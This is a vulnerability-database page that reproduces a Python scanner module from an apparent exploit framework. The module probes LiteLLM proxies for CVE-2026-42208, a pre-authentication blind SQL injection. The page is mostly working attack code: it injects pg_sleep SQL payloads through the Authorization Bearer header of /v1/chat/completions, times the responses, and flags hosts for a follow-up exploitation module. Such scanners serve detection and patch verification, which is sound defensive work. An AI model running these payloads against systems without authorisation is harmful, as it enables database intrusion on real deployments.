LiteLLM CVE-2026-42208 Blind SQLi Detect
| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| Exploit for SQL Injection in Litellm | 10 May 202602:07 | – | githubexploit | |
| Exploit for CVE-2026-42208 | 28 Apr 202616:57 | – | githubexploit | |
| Exploit for SQL Injection in Litellm | 30 May 202604:51 | – | githubexploit | |
| Exploit for SQL Injection in Litellm | 18 Jun 202623:40 | – | githubexploit | |
| Exploit for SQL Injection in Litellm | 22 May 202623:22 | – | githubexploit | |
| Exploit for SQL Injection in Litellm | 10 May 202612:11 | – | githubexploit | |
| CVE-2026-42208 | 8 May 202603:38 | – | attackerkb | |
| CVE-2026-42208 vulnerabilities | 6 May 202619:17 | – | cgr | |
| CVE-2026-42208 | 28 Apr 202605:12 | – | circl | |
| BerriAI LiteLLM SQL Injection Vulnerability | 8 May 202600:00 | – | cisa_kev |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect LiteLLM CVE-2026-42208 pre-auth time-based blind SQL injection."""
import json
import secrets
import statistics
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "LiteLLM CVE-2026-42208 Blind SQLi Detect",
"description": (
"Detects CVE-2026-42208 in BerriAI LiteLLM 1.81.16 <= version < 1.83.7: failed-auth "
"logging passes the raw Authorization bearer into a virtual-key SQL lookup. Probes "
"POST /v1/chat/completions with x'-prefixed pg_sleep payloads (never sk-) and "
"requires delay scaling plus a fast sk- control to rule out backoff false positives."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2026-42208"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-42208",
"https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc",
"https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy",
],
"modules": ["auxiliary/admin/http/litellm_cve_2026_42208_sqli"],
"tags": [
"web",
"scanner",
"litellm",
"llm",
"sqli",
"blind",
"time-based",
"pre-auth",
"postgresql",
"cve-2026-42208",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe", "active_exploitation"],
"expected_requests": 7,
"reversible": True,
"approval_required": True,
"produces": ["tech_hints", "risk_signals", "exploit_paths"],
"cost": 1.5,
"noise": 0.45,
"value": 1.0,
"requires": {
"tech_hints_any": ["litellm", "openai"],
"endpoint_pattern_any": ["/v1/chat/completions"],
},
"chain": {
"produces_capabilities": [
{"capability": "sqli", "from_detail": "time-based blind oracle"},
],
"suggested_followups": [
"auxiliary/admin/http/litellm_cve_2026_42208_sqli",
],
},
},
}
port = OptPort(4000, "LiteLLM proxy HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
api_path = OptString(
"/v1/chat/completions",
"LLM API route for Bearer injection probe",
False,
advanced=True,
)
sleep_s = OptFloat(4.0, "pg_sleep interval for the timing probe (seconds)", False, advanced=True)
model = OptString("gpt-3.5-turbo", "Model name in the filler chat body", False, advanced=True)
def __init__(self, framework=None):
super().__init__(framework)
self._run_id = secrets.token_hex(3)
self._nonce_counter = 0
def _nonce(self) -> str:
self._nonce_counter += 1
return f"{self._run_id}{self._nonce_counter:x}"
def _post_path(self) -> str:
base = (self.path or "/").rstrip("/")
suffix = str(self.api_path or "/v1/chat/completions")
if not suffix.startswith("/"):
suffix = f"/{suffix}"
return f"{base}{suffix}" if base else suffix
def _request_timeout(self) -> int:
sleep_val = float(self.sleep_s or 4.0)
return max(int(self.timeout or 20), int(sleep_val * 3 + 20))
def _send_bearer(self, bearer: str):
body = json.dumps(
{
"model": str(self.model or "gpt-3.5-turbo"),
"messages": [{"role": "user", "content": "hi"}],
}
)
started = time.perf_counter()
response = self.http_request(
method="POST",
path=self._post_path(),
headers={
"Authorization": f"Bearer {bearer}",
"Content-Type": "application/json",
"Accept": "application/json",
},
data=body,
timeout=self._request_timeout(),
allow_redirects=False,
)
elapsed = time.perf_counter() - started
status = int(response.status_code) if response else None
return status, elapsed
def run(self):
sleep_val = float(self.sleep_s or 4.0)
sleep2 = sleep_val * 2
baseline_times = []
status = None
for _ in range(3):
status, elapsed = self._send_bearer(f"x' OR '1'='2' -- {self._nonce()}")
baseline_times.append(elapsed)
baseline = statistics.median(baseline_times)
threshold = max(sleep_val * 0.5, baseline * 4)
st1, t1 = self._send_bearer(
f"x' OR (SELECT 1 FROM pg_sleep({sleep_val})) IS NOT NULL -- {self._nonce()}"
)
st2, t2 = self._send_bearer(
f"x' OR (SELECT 1 FROM pg_sleep({sleep2})) IS NOT NULL -- {self._nonce()}"
)
_stc, tc = self._send_bearer(
"sk-"
+ f"x' OR (SELECT 1 FROM pg_sleep({sleep_val})) IS NOT NULL -- {self._nonce()}"
)
if status is None and st1 is None:
print_status("CVE-2026-42208 probe failed — target unreachable")
return False
delayed = t1 >= threshold
scales = t2 >= t1 + (sleep_val * 0.5)
control_fast = tc < threshold
confirmed = bool(delayed and scales and control_fast)
if not confirmed:
if not delayed:
print_status(
f"CVE-2026-42208 not confirmed — baseline {baseline:.3f}s, "
f"sleep probe {t1:.3f}s"
)
elif not scales:
print_status("CVE-2026-42208 delay did not scale — likely backoff noise")
elif not control_fast:
print_status("CVE-2026-42208 sk- control also slow — inconclusive")
return False
reason = (
f"CVE-2026-42208: pre-auth blind SQLi — baseline {baseline:.3f}s, "
f"pg_sleep({sleep_val:g}) {t1:.3f}s, pg_sleep({sleep2:g}) {t2:.3f}s"
)
print_status("CVE-2026-42208 vuln=True")
self.set_info(
severity="critical",
reason=reason,
vulnerable=True,
cve="CVE-2026-42208",
path=self._post_path(),
baseline=baseline,
sleep_probe=t1,
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 16:40Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.19.8
CVSS 49.3
EPSS0.05772
SSVC